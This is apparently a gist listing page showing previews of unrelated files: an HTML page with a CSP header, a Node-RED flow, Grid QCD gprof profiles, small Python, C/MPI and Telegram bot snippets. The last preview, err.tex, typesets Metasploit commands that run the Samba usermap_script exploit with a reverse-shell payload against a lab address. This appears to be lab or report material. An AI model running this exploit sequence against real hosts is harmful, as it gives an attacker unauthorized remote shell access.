View index.html
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="UTF-8"> | |
<!-- https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP --> | |
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'"> | |
<meta http-equiv="X-Content-Security-Policy" content="default-src 'self'; script-src 'self'"> | |
<title>Hello World!</title> | |
</head> | |
<body> |
View Karabiner-Elements Chrome Shortcut README
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Place chrome_shortcuts.json file in ~/.config/karabiner/assets/complex_modifications |
View magic-cube.json
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[ | |
{ | |
"id": "77b5dd61.4f3574", | |
"type": "tab", | |
"label": "Magic Cube Controller", | |
"disabled": false, | |
"info": "" | |
}, | |
{ | |
"id": "50a6a391.4b1f9c", |
View Test_compressed_lanczos_hot_start.gprof
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Flat profile: | |
Each sample counts as 0.01 seconds. | |
% cumulative self self total | |
time seconds seconds calls ms/call ms/call name | |
12.12 0.28 0.28 48813 0.01 0.01 Grid::QCD::WilsonFermion5D<Grid::QCD::WilsonImpl<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, Grid::QCD::FundamentalRep<3>, Grid::QCD::CoeffReal> >::MomentumSpacePropagatorHt(Grid::Lattice<Grid::iScalar<Grid::iVector<Grid::iVector<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, 3>, 4> > >&, Grid::Lattice<Grid::iScalar<Grid::iVector<Grid::iVector<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, 3>, 4> > > const&, double) | |
10.82 0.53 0.25 708 0.35 0.35 _GLOBAL__sub_I__ZN4Grid3QCD5Gamma3gmuE | |
9.09 0.74 0.21 Grid::QCD::WilsonFermion5D<Grid::QCD::GparityWilsonImpl<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, Grid::QCD::FundamentalRep<3>, Grid::QCD::CoeffReal> >::MomentumSpacePropagatorHt(Grid::Latti |
View Benchmark_ITT.gprof
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Flat profile: | |
Each sample counts as 0.01 seconds. | |
% cumulative self self total | |
time seconds seconds calls s/call s/call name | |
25.03 722.12 722.12 473465689 0.00 0.00 Grid::QCD::WilsonFermion5D<Grid::QCD::DomainWallVec5dImpl<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, Grid::QCD::FundamentalRep<3>, Grid::QCD::CoeffComplexHalfComms> >::WilsonFermion5D(Grid::Lattice<Grid::iVector<Grid::iScalar<Grid::iMatrix<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, 3> >, 4> >&, Grid::GridCartesian&, Grid::GridRedBlackCartesian&, Grid::GridCartesian&, Grid::GridRedBlackCartesian&, double, Grid::QCD::WilsonImplParams const&) | |
11.38 1050.49 328.37 32487566 0.00 0.00 Grid::QCD::WilsonKernels<Grid::QCD::WilsonImpl<Grid::Grid_simd<std::complex<float>, __Float32x4_t>, Grid::QCD::FundamentalRep<3>, Grid::QCD::CoeffReal> >::HandDhopSiteInt(Grid::QCD::WilsonStencil<Grid::iScalar<Grid::iVector<Grid::iVector<Grid::Grid_simd<std::complex<float |
View magic.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
vowel = "aeiou" | |
def vpos(c): | |
for i in range(5): | |
if c == vowel[i]: | |
return i | |
return -1 |
View test.c
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <mpi.h> | |
#include <stdio.h> | |
int main(int argc, char **argv) | |
{ | |
MPI_Init(&argc, &argv); | |
// Get the number of processes | |
int world_size; | |
MPI_Comm_size(MPI_COMM_WORLD, &world_size); |
View TelegramBotQueryGif
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def query(self): | |
url = GIPHY_API + GIPHY_RAND_ENDP + '?' | |
# Check for API key | |
if not self.api_key: | |
logger.warn('GiphyRandomRequest<query()>: No API key provided') | |
return | |
# Add API key | |
url += 'api_key=' + self.api_key + '&' | |
# Add tag if provided | |
if self.tag: |
View err.tex
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
\newcommand{\shellcmd}[1]{\\\indent\indent\texttt{\footnotesize\$ #1}} | |
\begin{center} | |
\fbox{\begin{minipage}{30em} | |
\shellcmd{use exploit/multi/samba/usermap\_script} | |
\shellcmd{set payload cmd/unix/reverse} | |
\shellcmd{set RHOST 192.168.10.11} | |
\shellcmd{set RPORT 445} | |
\shellcmd{set LHOST 192.168.10.10} | |
\shellcmd{exploit} |